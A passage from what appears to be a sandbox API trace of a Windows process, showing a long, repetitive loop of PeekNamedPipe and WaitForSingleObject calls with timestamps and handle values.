lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.340] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.365] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.366] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.397] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.397] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.428] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.428] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.462] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.462] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.490] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.490] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.521] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.521] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.559] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.559] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.584] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.584] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.630] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.631] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.662] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.662] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.706] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.706] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.724] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.724] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.756] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.756] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.787] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.787] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.818] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.818] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.849] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.849] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.880] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.880] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.911] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.912] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.943] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.943] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0118.974] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0118.974] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.005] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.005] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.036] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.036] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.078] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.078] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.099] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.099] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.130] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.130] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.161] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.161] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.192] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.192] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.223] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.223] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.255] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.255] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.287] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.287] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.317] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.317] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.372] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.372] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.396] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.396] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.426] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.426] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.458] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.458] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.489] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.489] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.520] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.520] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.551] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.551] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.593] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.593] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.613] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.614] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.645] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.645] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.705] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.706] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.723] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.723] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.754] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.754] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.785] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.785] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.816] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.816] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.850] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.850] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.879] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.879] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.910] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.910] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.954] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.954] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0119.972] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.972] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.003] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.004] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.046] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.046] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.066] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.066] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.097] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.097] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.128] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.128] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.159] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.160] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.191] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.191] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.223] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.223] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.263] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.264] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.285] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.285] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.315] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.316] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.372] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.372] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.394] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.394] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.425] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.425] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.468] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.468] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.487] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.487] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.518] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.518] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.549] 